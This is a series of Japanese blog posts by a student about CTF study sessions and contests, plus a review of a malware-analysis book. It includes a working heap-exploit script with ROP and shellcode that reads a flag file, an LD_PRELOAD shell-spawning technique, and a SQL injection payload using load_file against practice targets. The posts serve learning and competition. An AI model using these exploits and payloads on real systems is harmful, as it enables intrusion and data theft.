最終的にflag1は取得できたので良かったですが、flag2については手も足も出ない状態です。特にヒープのところの動作がいまいち分かってないので解説みたいなのは書けませんが、書いた攻撃コードを載せておきます。（Ubuntuで書いたので日本語で書けませんでした。）

	from pwn import *
	class tp:
	#
	# Constructor
	#
	def __init__(self, host, port):
	# Connect to server
	self.sock = remote(host, port)
	# List of commands
	self.cmd_new = 0
	self.cmd_read = 1
	self.cmd_write = 2
	self.cmd_free = 3
	self.cmd_delete = 4
	return
	#
	# Destructor
	#
	def __del__(self):
	self.sock.close()
	return
	#
	# Command 0 : new
	#
	def remote_new(self, size):
	self.sock.send( p32(self.cmd_new) )
	self.sock.send( p64(size & 0xFFffFFffFFffFFff) )
	ret = u32(self.sock.recv(4))
	print("[info] new({0}) --> {1}".format(size, ret))
	return ret
	#
	# Command 1 : read
	#
	def remote_read(self, note, data, noread=False):
	self.sock.send( p32(self.cmd_read) )
	self.sock.send( p32(note) )
	self.sock.send( p64(len(data)) )
	self.sock.send( data )
	if noread:
	ret = ""
	print("[info] read without recv!")
	else:
	ret = u32(self.sock.recv(4))
	print("[info] read({0}, {1}, [data]) --> {2}".format(note, len(data), ret))
	return ret
	#
	# Command 2 : write
	#
	def remote_write(self, note, size):
	self.sock.send( p32(self.cmd_write) )
	self.sock.send( p32(note) )
	self.sock.send( p64(size) )
	data = self.sock.recv(size)
	ret = u32(self.sock.recv(4))
	print("[info] write({0}, {1}, [data]) --> {2}".format(note, size, ret))
	return ret, data
	#
	# Command 3 : free
	#
	def remote_free(self, note):
	self.sock.send( p32(self.cmd_free) )
	self.sock.send( p32(note) )
	ret = u32(self.sock.recv(4))
	print("[info] free({0}) --> {1}".format(note, ret))
	return ret
	#
	# Command 4 : delete
	#
	def remote_delete(self, note):
	self.sock.send( p32(self.cmd_delete) )
	self.sock.send( p32(note) )
	ret = u32(self.sock.recv(4))
	print("[info] delete({0}) --> {1}".format(note, ret))
	return ret
	#
	# Main
	#
	if __name__ == '__main__':
	base_id = 0x13 # 0x1337?
	tp = tp('127.0.0.1', 9999)
	raw_input('Press enter after attaching to the server with GDB.')
	## Prepare for exploitation
	note1 = tp.remote_new(1)
	note2 = tp.remote_new(1)
	# use main_arena
	note3 = tp.remote_new(-1) # linked to fastbins, main_arena
	# use thread_arena
	note4 = tp.remote_new(-1) # linked to bins, thread_arena
	tp.remote_free(note2) # note2.used = 0
	note5 = tp.remote_new(0x28) # &note5 == &note4
	# write to &note4 --> overwrite note4.id
	tp.remote_read(note5, p64(base_id))
	# new map having same address as note4 (whose id is base_id)
	note6 = tp.remote_new(0x100) # linked to bins, thread_arena
	## Leak heap_base
	# write to &note4 --> overwrite note4.id and note4.buffer
	# then note4.buffer will have the same address as bins, thread_arena
	tp.remote_read(note5, p64(base_id) + "\x70\x08")
	# 0x00007fe6dc000870 -> 0x00007fe6dc000858
	# so ret-0x858 is the very address of the heap base
	heap_base = tp.remote_write(base_id, 8)[1]
	heap_base = u64(heap_base) - 0x858
	print("[info] heap base = 0x{0:x}".format(heap_base))
	## Leak libc_base
	# leak main_arena
	tp.remote_read(note5, p64(base_id) + "\x88\x08")
	main_arena = tp.remote_write(base_id, 8)[1]
	main_arena = u64(main_arena)
	print("[info] main_arena = 0x{0:x}".format(main_arena))
	# leak libc_base
	libc_base = main_arena - 0x3be760 # (because main_arena has solid address)
	print("[info] libc_base = 0x{0:x}".format(libc_base))
	## Leak ret
	# leak __environ (and read)
	tp.remote_read(note5, p64(base_id) + p64(libc_base + 0x3c14a0))
	environ = tp.remote_write(base_id, 8)[1]
	environ = u64(environ)
	print("[info] __environ = 0x{0:x}".format(environ))
	# leak ret
	ret = environ - 0x200
	print("[info] ret = 0x{0:x}".format(ret))
	## shallcode!? --> doesn't work!
	shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff"
	shellcode += "/home/tp/flag1\x00"
	## shellcode!! --> does work!
	shellcode = "EB225F4831F64831D26A02580F05505766FFCA5E5F4831"
	shellcode += "C00F056A016A01505A5F580F05E8D9FFFFFF"
	shellcode = shellcode.decode("hex") + "/home/tp/flag1\0"
	## ROP gadget!
	# rp-lin-x64
	pop_rdx = 0x00001b8e
	pop_rsi = 0x00024885
	pop_rdi = 0x00022b9a
	## ROP payload!
	payload = ""
	# mprotect(rdi=addr, rsi=len, rdx=prot)
	payload += p64(libc_base + pop_rdi) # .addr
	payload += p64(heap_base + 0x1000)
	payload += p64(libc_base + pop_rsi) # .size
	payload += p64(len(shellcode) + 1)
	payload += p64(libc_base + pop_rdx) # .prot
	payload += p64(7)
	payload += p64(libc_base + 0xf48d0) # mprotect
	# read(rsi=addr, rdx=size, rdi=std?)
	payload += p64(libc_base + pop_rsi) # .addr
	payload += p64(heap_base + 0x1000)
	payload += p64(libc_base + pop_rdx) # .size
	payload += p64(len(shellcode))
	payload += p64(libc_base + pop_rdi) # .fd
	payload += p64(0)
	payload += p64(libc_base + 0xeb6a0) # read
	payload += p64(heap_base + 0x1000) # jump to shellcode
	tp.remote_read(note5, p64(base_id) + p64(ret) + p64(len(payload)))
	tp.remote_read(base_id, payload, noread=True)
	## Send shellcode!
	tp.sock.send(shellcode)
	## interactive mode
	tp.sock.interactive()

view raw tp_exploit.py hosted with ❤ by GitHub

最初にひっかかったのはremote_readで、payloadを書き込んですぐにsendしなければならないのですが、remote_read内にrecvがあったので、次のステップに進めないままrecvで止まっていました。次にひっかかったのはpayloadのROP gadgetで、「pop esi; ret」を使ってるつもりが「pop esi; rep ...」みたいなのを使ってました。目grepが足りない。最後にひっかかったのがshellcodeで、shellstormからコピーしたものは動きませんでした。たぶんseccompのせいかな？
個人的にtpはflag1だけを集中的に説明しても良かったんじゃないかなとも思います。(そうするとプロが困るのかも。)

さいごに

今回はCryptography, Pwnいずれも前回のmedに比べるとかなり成長した状態で挑戦できたと思っています。(前のmedは1つも解けなかった。)
いつもkatagaitaiCTFではたくさんの知識を習得させてもらっています。講師のみなさん、NRIさんなど、運営してくださっている方々、本当にありがとうございます。
今後も参加したいと思っているので、よろしくお願いします！

katagaitaiCTF#6 関西easyに参加しました

本日（08月13日）に大阪で開催されたkatagaitai CTF勉強会(easy)に参加してきました。

内容は午前はWeb, 午後はReversingでした。WebはHack.lu CTF 2014のHotCows Datingという問題で、ReversingはCSAW CTF 2013のcrackmeという問題をそれぞれ解きました。正直Webの方はBurpの設定が上手くいかずにあまり付いていけませんでした。一応フラグは取得できたもののイマイチ「なんで？」というところが多いので、今回はcrackmeの方を中心にWriteUpを書こうと思います。

crackmeは32bitのLinux用バイナリで、とりあえずWindowsを起動してIDA Pro Freeで解析を開始しました。bindやaccpetなどから単体でサーバーとして動作するプログラムだと分かったので、とりあえずポート番号だけメモして動作しました。crackmeへ接続すると、パスフレーズを聞かれます。パスワードが合っていないと終了してしまいます。あまりIDAを使ったことの無い私は文字列検索で文字列を送信(表示)している部分を見つけ、その周辺から解析を始めました。その結果、明らかに分岐している部分があったので、その上の関数にverifyという名前を付けて関数を見ます。ちょっと前に変数名とコメントを付ける機能を知ってからはじゃんじゃん使ってるので解説が始まる前には解析が終わってたと思います。verify関数(仮)をC言語にすると次のようになりました。

int verify(char* input)
{
  char chr = input[0];
  int hash = 0x539;
  char *pass = input;
  int tmp;
 
  for(; *pass != 0; pass++) {
    tmp = chr + (hash << 5);
    chr = *(pass + 1);
    hash += tmp;
  }
 
  return hash;
}

あらためて見るといかにC言語が苦手かが分かります......
さて、とりあえず自分で解こうと思って6桁くらいまでのブルートフォースを書きましたが一向に終わらないので別の方針を立てることにしました。
そこで、入力を「A」「AA」「AAA」「AAAA」...のように試すと、徐々にハッシュ値が増加していることが分かりました。(4バイトを超えたらまた小さくなる感じでした。)
入力が長く、ASCII値が大きいほどハッシュ値も大きくなるので、二分探索(手動)で0xEF2E3558に徐々に近づけていきました。(でも5分程度で下2桁以外は揃いました。)
6桁でハッシュ値が答えに近づき、最後の方は揃わなそうだったので、最後の1文字だけブルートフォースアタックしました。その結果「aSA6>6」で通りそうだったので送ったらフラグが表示されました。

勉強会が終わった今では頭の悪い解き方です。はい。

ということで、勉強会ではkleeとz3pyを使う方法をやったので、その内勉強会中ずっとやってたz3による解法についてもWriteUpします。z3pyは条件式に当てはまるような入力を見つけてくれるモジュールです。文字列を探す方法は分からなかったのでIntVectorでやってましたが実行できず。スライドを読むとBitVecなら上手くいくそうなので時間がかかりましたが書いてみました。

	# coding: utf-8
	from z3 import *
	s = Solver()
	LENGTH = 6
	# 6文字のテキスト
	text = [BitVec('text[{0}]'.format(i), 32) for i in range(LENGTH)]
	# 全て印字可能文字
	for i in range(LENGTH):
	s.add(32 <= text[i], text[i] <= 126)
	# ハッシュ
	ret = [BitVec('ret[{0}]'.format(i), 32) for i in range(LENGTH + 1)]
	ret[0] = 0x539 # 初期値
	for i in range(LENGTH):
	ret[i+1] = ret[i] + (ret[i] << 5) + text[i]
	# 結果が等しい
	s.add(ret[LENGTH] == 0xef2e3558)
	# 確認
	t = s.check()
	if t == sat:
	m = s.model()
	passcode = ""
	for i in range(LENGTH):
	passcode += chr(m[text[i]].as_long())
	print("RESULT : {0}".format(passcode))
	else:
	print(t)

view raw z3solve_crackme.py hosted with ❤ by GitHub

実行すると入力条件に当てはまるような文字列を見つけて表示してくれます。講師の方の書かれたコードでは40秒程度かかりましたが、このコードでは1秒前後で実行できました。私は講師の方のコードをリストにして初期化に入力、hashともにBitVecを使っただけなのですが、なぜここまで違いが出たのかは全く分かりません......

easyとはいえ、今回の勉強会を通して知らなかったことをたくさん学ぶことができたので、大変有意義な1日でした。主催者やNRI Secureの皆様、ありがとうございます！次のmedも参加する予定なのでよろしくお願いします。

SECCON 2016 九州大会のWrite Upと感想

本日2016年07月17日(日)に、福岡県の博多にある富士通株式会社 九州支部で、IoT CTFが開催されました。このCTFは過去に参加してきたCTFと違い、電子回路やハードウェア関連の問題が出題されます。今回は部活のチーム4人で、チームinsecureとして参加しました。最終的なスコアテーブルの上位3位は以下の通りです。(他チームはぼかし処理済み)

ということで、何とか優勝してSECCON本戦出場権を獲得することができました。今回はチームでかなり協力し、労力を分散させて挑戦することができたのが良かったと思います。また、CTFとしては、過去にやったことの無いタイプでしたが、今までほとんど触れたことのない分野だけあって、非常に勉強になりました。

今回のCTFの概要

大会直前までどんな形式か全く分からず、「ブレッドボード回路が渡されるんじゃないか」とか「配線の写真からデコーダを書くんじゃないか」とか事前にいろいろ考えてきました。会場に入ると、各チームのテーブルにRaspberry Pi 2、ブレッドボード、配線、各種IC、テスタ、ニッパーなどが用意されていました。
問題は大問で4問、小問を含めて5問ありました。全て100[pt]です。insecureは3問(300[pt])を正解し、最初の1問がFirst Bloodだったので追加で10[pt]を獲得しました。今回は、どんな問題が出題されたのかと、解いた問題についてのWrite Upを書きます。

問題1

水道局員の人数が足りないから自動で制御しよう、という問題。用意された部品を使って、1秒毎にモータがON,OFFを繰り返す回路を作る。優しいことに、回路図が用意されていたので、回路の方はそのまま実装しました。なお、使用した機器は「Raspberry Pi 2」「モータ」「ダイオード」「抵抗」「MOSトランジスタ」です。
Raspberry Pi 2の3番ピンから1秒ごとに出力と入力を切り換えるようなコードを書いて実行します。正しく動作していることと、その入力をオシロスコープで示した上で、担当の方を呼んで動作確認してもらいます。実行結果が正しいと判断されたら、フラグが貰えました。
ここのオシロスコープの波形がかなりひどい状態でしたが、運営の方の優しさでフラグが貰えました。ありがとうございました。この問題がFirst Bloodでした。

問題2.a

スパイとして活動しているとき、任務内容を8PINのICで渡されるという問題です。8PINのICは24LC256で、これはEEPROMです。EEPROMについては調べてきて、Pickit2のも持って来たのですが、なぜかリードが正しくできずに挫折。その後、同じチームのtheoldmoon0602が、持って来たArduino互換機で挑戦し、見事データの抽出に成功。データのヘッダが1F 8Bで、一目見てtar.gzだと分かったので、解凍するとフラグのテキストが出てきました。

問題2.b

上と同じです。ここで、上の問題ではEEPROMの最初の方しか取り出しておらず、それに気付くのにかなり時間が取られました。結局最後までデータを取ると、回路図のjpgとRaspberry Pi用のコードがあり、回路図を構成してコードを実行するとフラグが取得できます。プログラムで回路をエミュレートしたものの、終了数分前だったのでダメでした。

問題3

1分ごとにエアコンのリモコンが使えなくなる原因を探ってほしい、という問題。会場の前後に回路が置いてあり、そこから赤外線が発生していました。(それはデバッグ用で、実際には運営に頼んで赤外線を定期的に発生させるボードを借りてくる。)この問題では、Raspberry Piのmode2コマンドを使って赤外線の波形データを取得しました。さらに、エアコンのリモコンの赤外線の仕様書を調べ、それに従って不要な部分をカットしました。しかし、このプロトコルは製造会社によって結構違い、どれを使えばいいか迷ってる間に時間切れでした。今思えば「SECCON{~~}」の「ECC」のところは取得できていたので、もう少し頑張れば解けたかもしれません。個人的には赤外線モジュールについて勉強できたので、非常に楽しい問題でした。

問題4

テロリストのUSB機器がどんな動作をするか確認する、という問題。この問題については私は全く触っておらず、チームメンバーが解いてくれたので詳細は知りません。チームメンバーの解き方としては、用意されたAVRマイコンに配布されたhexデータを書き込み、さらにUSBに変換する謎の機器とを接続し、それをパソコンに繋いだとのこと。すると、一定周期でキーボードが勝手に入力され、フラグが書かれたそうです。この問題は全チームが解いていました。すごい。
個人的に自分で作ってみたいので今後教えてもらおうかな。

感想

とにかく色んなことが勉強できて素晴らしかったです。企画してくださった運営の皆様、会場やパーツ等を提供してくださった協賛社の方々、本当にありがとうございます。それから今回出場されたチームの方々もお疲れ様でした。
細かい部品は持って帰っても構わないということで赤外線モジュールとEEPROM等をいただきました。家で勉強させていただきます。m(_ _)m
 

Practical Malware Analysis - kosen14s読書会

はじめに

この投稿は、kosen14s読書会用の記事です。

kosen14s読書会

kosen14s読書会では、何人かのメンバーが自由なジャンルの本を紹介します。私は他にブログらしきものを持っていないことと、ちょうど技術的な内容の本を紹介する予定だったので、ここに投稿しました。

Practical Malware Analysis

本記事で紹介するのは、Michael SikorskiさんとAndrew Honigさんの著書「Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software」です。

Practical Malware Analysis

宇宙人が解剖されかけているという一見不思議な表紙ですが、これは「中身の分からないものを調査する」ということを暗示しているのだと思います。

さて、この本ではマルウェア(端的に言うとウイルス)を解析するために必要な知識を1から100まで記載した技術書で、内容がとにかく充実しています。私は自分の読みたいところだけを読む人なので、本当はこの本の内容を全て読んだ訳ではありません。しかし、さらっと読んだだけでも有用な情報が数多く書かれていたので、その中でも特に面白かったものについてのみここで取り上げようと思います。

この本との出会い

この本を初めて知ったのは高校1年生の冬、北海道で開かれたセキュリティミニキャンプという勉強会でした。その勉強会は私がコンピュータセキュリティを勉強するきっかけにもなったのですが、そのため当時は会場一の初心者でした。勉強会を通して活躍が見られた人にはこの本が貰えるとのことだったのですが、もちろん本はプロ達の手に渡っていきました。そこで、「プロが良本を手に入れるとよりプロになる」というプロサイクルを見出しました。これではいかんと思い、それから1年後にネット通販でこの本を買うことにしたのです。おしまい。

逆アセンブルとは

まず説明する前に、逆アセンブルということについて説明します。
逆アセンブルとは、実行ファイルなどの機械語を、アセンブリ言語という多少人間が読みやすい形式に変換する作業を指します。
機械語はintelやらARMやらといったプロセッサにより異なりますが、アセンブリ形式はどの種類でもある程度似ているので、普通の人がマルウェアを解析するとき、逆アセンブルされたものを読みます。この記事では、intel形式のアセンブリ言語(NASM)で書きたいと思います。

例えば

b8 77 00 00 00 50

という機械語列はさっぱり意味が分かりませんが、これを逆アセンブルして

mov eax, 0x77
push eax

にすると、あら不思議。分かりやすい。

さて、みなさんが普段使っているソフトウェアは、例えばWindowsならexeなどの実行ファイルになっていることが多いです。これが実行できるということは、このファイルの中に一連の動作を表す機械語が書かれています。マルウェアに限らず、実行ファイルを解析するときはこの機械語を逆アセンブルするのです。そして、逆アセンブルするためのツールはたくさん用意されています。個人的に代表的なのは次のツールです。

静的解析：IDA Pro, radare2
動的解析：OllyDbg, x64dbg

静的解析のツールは、先に説明したように、ただ機械語を逆アセンブルした結果を表示するツールです。ただ、こういったツールの良いところは、逆アセンブルした結果をフローチャートのようにするなど、できるだけ人間に分かりやすく整理して表示してくれるのです。動的解析のツールは、逆アセンブルをすると共に、そのプログラムを実行します。しかし、マルウェアは実行したら危ないので、今回はやりませんでした。

ANTI-DISASSEMBLY

解析を困難にする技術には大別して「ANTI-DISASSEMBLY」「ANTI-DEBUGGING」「ANTI-VIRTUAL MACHINE TECHNIQUES」「PACKERS」の4つがあります。特に3つ目の「ANTI-VIRTUAL MACHINE TECHNIQUES」 はマルウェア特有の技術ですし、「PACKERS」に関しては「ANTI-DISASSEMBLY」に含まれてもおかしくありません。ということで、個人 的には「ANTI-DISASSEMBLY」および「ANTI-DEBUGGING」に分かれるのですが、ANTI-DEBUGGINGの方は前から触ったことがあったので、そこまで驚きの技術ではありませんでした。
ということで、解析防止技術の中でも特に面白かったものが逆アセンブル自体を困難にする技術です。
そもそもなぜこんな面倒なことをするかと言うと、例えばC言語でゲームを作ったとしても、配布する時点では機械語の入った実行ファイルを公開します。そしてそれを逆アセンブルされると、理論的にはどんなプログラムでもソースコード(アセンブリ)が見られてしまいます。しかし、開発者としてはできればやめてほしいことも多いです。ゲームのストーリーからセーブデータの保存アルゴリズムまで見られてしまうのですから。ましてやパスワードやライセンスキーを要求するソフトウェアなどは解析されたらたまったものではありません。（実際に有名なソフトウェアでも解析されて構造がバレてしまうことが多々あります。）

そこで、頭の良い先人たちは、逆アセンブルを防ぐ技術(Anti-Disassembly)をいくつも考案してきました。とは言え、逆アセンブル自体は防げないので、逆アセンブルにより出力されたソースコード(アセンブリ)を、いかにツールに解析されにくく、そして人間にとって見にくくするかがポイントです。これを難読化といいます。


次のアセンブリを見てください。これは逆アセンブル結果ではなく、開発者が書くコードです。単純にSleep関数を実行するだけなのですが、これがバレたくない開発者は、コードに難読化を施します。

    jmp short obfuscation
    db 0xE8
obfuscation:
    push 0x2A
    call Sleep

このコードの説明は次のような感じです。

1行目：ラベル"obfuscation"にジャンプ(そこを実行)
2行目：機械語にしたときに、ちょうどここに0xE8という1バイトのデータを埋め込む
3行目："obfuscation"というラベルを作る
4行目：メモリに0x2Aというデータを入れておく
5行目：Sleep関数を呼び出す。(引数は上の0x2Aとなる)

つまり実行すると、
「obfuscationにジャンプ」 -> 「Sleep(0x2A)を実行」
となるだけのコードです。

このコードを機械語にし、さらに逆アセンブルすると次のようになります。(あくまでも出力例)

    jmp short near ptr loc_2+1
loc_2:
    call near ptr 0x15ff2a71
    or [ecx], dl
    inc eax
    db 0

本来なら前に書いたコードがそのまま結果として出力されてほしいのですが、見たところ全く違うものが出てきました。もう一度オリジナルのコードを書きます。

    jmp short obfuscation
    db 0xE8
obfuscation:
    push 0x2A
    call Sleep

全然違いますね。ここで重要となるのは「db 0xE8」です。0xE8はintelのx86アーキテクチャの機械語において、call命令の最初のバイトです。したがって、逆アセンブルツール(逆アセンブラ)が機械語を解析する際、この0xE8をcall命令として読んでしまい、さらに次の機械語まで巻き込んでしまいます。

つまり本来なら次のように区切って解析してほしいのですが、

| 0xEB 0x01 (jmp) | 0xE8 (db) | 0x6A 0x2A (push) | 0xE8 ... (call) | ...

逐次的に解析するツールは次のように区切ってしまいます。

| 0xEB 0x01 (jmp) | 0xEB 0x6A 0x2A 0xE8 ... (call) | ... (or) | ... (inc) | ...

これだけの説明ではちょっと分かりにくいですが、このようにゴミデータを入れることによって、単純に上から解析するタイプのツールから、ある程度コードを守ることができます。(このように上から解析する逆アセンブリを"Linear Disassembly"と呼んでいます。)

今回紹介した本では、上述のような逆アセンブル防止技術だけでも、他にも様々な種類の技術が詳しく記載されています。

さいごに

この本の分かりやすいところは、たいてい実例を示して詳細に書かれていることです。
それでいて必要なポイントだけがまとめられているので、この本一冊からたくさんの情報を得ることができます。
それから、マルウェアについての解析を中心としているので、各種技術が身に付くとともに、マルウェアの仕組みについても分かります。

残念ならが、調べた限りでは日本語版はありませんが、マルウェア解析技術の本としては海外でも非常に評価の高い一冊です。さらに、kosen14s所属の古月くんもこの本の電子書籍版を持っており、いかにこの本が凄いかを証明しています。

表紙の上で解剖されんとする宇宙人を見た際には、是非一度手にとって読んでみてください。

katagaitai CTF 2016 関西 med に参加しました

2016年02月06日(土曜日)に大阪で開かれたkatagaitai CTFの中級者向け勉強会に参加しました。内容は暗号とエクスプロイトで、私は脱初心者を目指して参加しました。
暗号はCSAW CTF 2014 Crypto300のfeal.pyを、エクスプロイトはCodeGate 2015 Pwnable400のbeef_steakを中心にハンズオンで講義が行われました。
いずれも惜しくも時間内には解けませんでしたが、また時間に余裕がある時に解法コードを作って載せられたらと思います。(試験のすぐ前なので今は時間が無いです)

暗号 - feal.py

暗号問題は、サーバーで動作しているpythonコード(feal.py)が渡され、そこに接続します。
・第一段階
まず、指定された文字列(ランダムな16文字)から始まり、sha1の最終16ビットが全て1になるような文字列を送信しなくてはなりません。つまり、
h = sha1(str_rnd + something)
について、
h[:-1] == h[-2] == 0xFF
であれば通過できます。
これは単純にsomethingにブルートフォースしたら簡単に通りました。
ここまでは家で解いてきたのですが、その後はでっていう状態でした。

・第二段階
次に暗号化されたフラグが渡されます。これは保存しておきます。今回使用されている暗号は、タイトルの通りFEAL暗号ですが、よく見ると、

return ((x << 2) | (x >> 6)) & 0xff

であるはずのシフト関数が、

return ((x << 3) | (x >> 5)) & 0xff

になっていました。本来の仕様との違いはこれだけです。
今回使用する攻撃はDifferential Cryptanalysis(差分解読法)とかいう聞いたこともない方法で、要するに
「入力A, BについてFEAL(A), FEAL(B)が求まっていて、その出力差分FEAL(A) ^ FEAL(B)が一定ならX ^ Y == A ^ B(入力差分がA,Bと等しい)ような入力に対して、その出力の差分はFEAL(A) ^ FEAL(B)となる」
みたいな感じでした。(間違ってたらすいません)
なんとなーく分かったのですが、実際にコードを書くと何かしっくりこなかったです。それに、後から知ったのですが、pythonで書くと十数時間かかるようで、C言語で書く必要があったそうです。ずっとpythonで買いてパソコンのファンを鳴らしていました。

結局私のコードで答えは出ずに、解答だけ聞いて終了してしまいました。暇なときにコードを書きます。


エクスプロイト - beef_steak
エクスプロイトと聞いてうわぁって感じだったのですが、内容はとても面白かったです。とにかくスライドが詳しく書かれていました。(暗号のスライドも図が多くて分かりやすかったですが、こちらは300ページ程度ありました)
beef_steakでは、steakというLinux x86_64のバイナリが渡され、それを実行しているサーバーを攻略するという問題です。家で解析しておきましょうという指令が出ていたので、C言語のコードに直したのですが、その時はStack BOFがあるだけで、フラグが読めそうとは思いませんでした。というのも、Stack Canaryが付いており、オーバーフローしてもすぐに終了してしまうのです。

・第一段階
家で解析したときのCコードを以下に示します。

	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>
	#include <unistd.h>
	char cmpdata[0x28] = "\x62\x31\xaa\x85\xbd\xbf\x9f\xf3\x8a\x02\x0c\x75\xac\x23\xab\xe4\x82\xc5\x25\x7a\xef\xbd\xc9\x61\x00\x54\x68\x61";
	/* 0x400da6 */
	char key[0x28]; /* 0x6020e0 */
	char output[0x28]; /* 0x602120 */
	unsigned char state[0x100]; /* 0x602160 */
	/*
	Initialize RC4 Crypt
	*/
	void rc4_init()
	{
	int len; /* rbp-0x4 */
	int i; /* rbp-0x8 */
	unsigned char tmp; /* rbp-0x9 */
	unsigned char j; /* rbp-0xa */
	for(i = 0; i <= 0xff; i++) {
	state[i] = (unsigned char)i;
	}
	len = strlen(key);
	for(j = i = 0; i <= 0xff; i++) {
	j += state[i];
	j += key[i % len];
	/* swap */
	tmp = state[i];
	state[i] = state[j];
	state[j] = tmp;
	}
	}
	/*
	Encrypt data with RC4
	*/
	void rc4_encrypt(char in[], char out[], int in_len)
	{
	int buflen = strlen(in); /* rbp-0x4 */
	int i; /* rbp-0x8 */
	unsigned char tmp;
	unsigned char index1, index2; /* rbp-0xa, rbp-0xb*/
	unsigned char j;
	for(i = 0; i < buflen; i++) {
	index1++;
	index2 += state[index1];
	tmp = state[index1];
	state[index1] = state[index2];
	state[index2] = tmp;
	j = state[index1] + state[index2];
	out[i] = in[i] ^ state[j];
	}
	}
	/*
	MAIN ROUTINE
	*/
	int main()
	{
	FILE *fp; /* rbp-0x38 */
	char input[0x40]; /* rbp-0x30 */
	int counter; /* rbp-0x3c */
	chdir("/home/steak");
	/*
	Read 0x28(40) bytes from /home/steak/flag
	*/
	fp = fopen("/home/steak/flag", "r");
	fgets(key, 0x28, fp);
	fclose(fp);
	/*
	Initialize RC4 and remove 'key'
	*/
	rc4_init();
	memset(key, 0, 0x28);
	/*
	Get input
	*/
	puts("What's your favirite food?");
	fflush(stdout);
	fgets(input, 0x200, stdin);
	/*
	Encrypt data
	*/
	rc4_encrypt(input, output, strlen(input)-1);
	printf("Hmm...");
	fflush(stdout);
	/*
	Time spends...
	*/
	for(counter = 0; counter <= 4; counter++) {
	sleep(1);
	putchar(0x2e);
	fflush(stdout);
	}
	/*
	check
	*/
	if ( strcmp(output, cmpdata) == 0 ) {
	puts("That's my favorite!");
	puts("You may leave a message");
	fflush(stdout);
	system("/bin/cat > ./message");
	} else {
	puts("I don't like that!");
	}
	memset(output, 0, 0x28);
	}

view raw steak.c hosted with ❤ by GitHub

RC4で暗号化されたデータを復号化するのが目的です。オーバーフローというとret2libcやROPのイメージが強かったので、今回は全く分からない状態からスタートしました。
ここで新たに学んだのは、"argv[0] leak"という手法です。(正式名称でない?)これは、Stack CanaryのStack Smashingメッセージが表示されることを利用し、内部のデータを取得するという方法です。
具体的には、オーバーフローを起こした際の
*** stack smashing detected ***: ./steak terminated
というおなじみのメッセージの
./steak
を取得したい変数に変更します。そのためASLRが有効な場合は固定アドレスに存在するデータが取得する対象となります。今回のCコードを読めば分かるように、key、state、output等のデータはアドレスが固定されています。
どうやって"./steak"の部分を変えるかですが、__stack_chk_fail関数では、普通にargvの内容からargv[0]のファイル名を表示しているそうです。(詳しくはkatagaitai CTFの資料を参考に。)つまり、十分にオーバーフローできる場合、argv[0]のポインタがある部分を取得したいデータのアドレスに書き換えてやります。
これを聞いてさっそく
"\xe0\x20\x60\x00\x00\x00\x00\x00" * 40
みたいなデータ(keyのアドレスを繰り返し)を送ろうと考えたのですが、よく考えたらkeyは使用した直後にmemsetで0にクリアされています。ということでstateを取得したら見事取得できました。と思ったら256バイトあるはずのデータを途中までしか取れていません。これはstateの途中に0x00が存在するのが原因で、
 接続→stateを取得(lengthバイト)→切断→接続→state+lengthを取得(lengthバイト)...
みたいに何度か接続するようにして全てのデータを取得しました。

・第二段階
もともと"What's your favorite food?"という質問に対して答えが正しければ通ります。取得したstateを元に、バイナリから取得した暗号化済みデータを復号化し、それを送りました。ここで新たなバグを使用します。steakは入力の文字数をstrlenで取得し、その分暗号化しているのですが、入力の最初に0x00を持ってくることで、暗号化処理をスキップできます。そうしてチェックを通過すると、自由にメッセージを"./message"に書き込むことができるようになります。
ここで使用するのがShared Library Injectionという手法で、これはLD_PRELOADで自前のライブラリを使用することで攻撃できます。したがって、今回のように自由にファイルをアップロードできる状態か、sshのような形式でないと利用できません。今回は、systemをexecve("/bin/sh", 0, NULL);に変更するようなライブラリを作りました。(messageへの書き込みにsystem関数が呼び出される。)messageに保存できたら、これを利用したいのですが、ライブラリmessageを読み込ませる手段が必要です。

・第三段階
messageを読み込ませるには、環境変数LD_PRELOADを./messageにする必要があります。つまり、オーバーフローを使用してenvp[0]のアドレスを"LD_PRELOAD=./message"を指すアドレスにすればよいのです。こんなコードを作って実行したのですが、ローカルでは「ライブラリをロードできません」みたいなメッセージが出て、リモートではそもそも何も起こりませんでした。ちょっとよく分からないので暇な時にやります。

この他にも様々なexploit tipsを教えていただきました。

まとめ
katagaitai CTFの勉強会に参加させていただくのは今回が初めてでしたが、内容は難しかったものの、その技術は(なんとなく)分かったので、非常に有意義な勉強会だったと言えます。どちらも全く知らなかった攻撃揃いだったので、自分でコードを作りながらも新鮮な感じがしました。難しかったとはいえ、このくらいのレベルはやってて楽しいので、次回も同じレベルの勉強会があれば是非参加したいです。

SECCON 2015 Final Intercollegeに参加しました

2016年01月30日(土)に東京電機大学でSECCON 2015 Final Intercollegeが開催されました。1チーム4人までで、中学生から大学院生までで構成された18チームが参加しました。私のチームはinsecureで、
初めてA&Dに参加したので、何をすればいいかが分からず、かなり戸惑いましたが、その上での感想と軽いwrite upをしようと思います。

各チームに一台のサーバーが割り当てられ、チームメンバーはあらかじめ渡されたパスワードで管理者(root)としてsshでログインできます。開始からしばらくはIPもユーザーも分からなかったので、全員何もできない状態でしたが、しばらくして運営から説明がありました。
サーバーでは3つのサービスを稼働させることができ、私はvulnerable_blogとsbox2015を担当しました。vulnerable_blogはブログの記事を投稿できるサービスです。サイトを見ると、XSSとSQL Injectionの脆弱性がありました。また、SQL Injectionの際のエラーがそのまま出力されます。とりあえず自分のチームのSQLiの脆弱性を修正し、Webアプリの設定をdevelopmentからproductionに変更してエラー出力を無くしました。チームでやったDefenseらしい行動はこれだけで、この防御力が後に悪く影響しました。
ORDER BY等で調べた結果からUNION SELECTを使用しました。

hoge') UNION SELECT 0,0,load_file("/var/www/html/vulnerable_blog/keycode"),0,0#

これにより管理者のパスワードを取得できます。また、自チームのkeycodeが初期状態で"test"だったので、"abc123password"みたいなのに変更しました。これで管理者になり、記事のログの削除キーにボットが登録したフラグが見つけられました。この時点でSQLiを修正していたり、keycodeを変更していたり、何かしら修正していたチームは半分以上あったと思います。
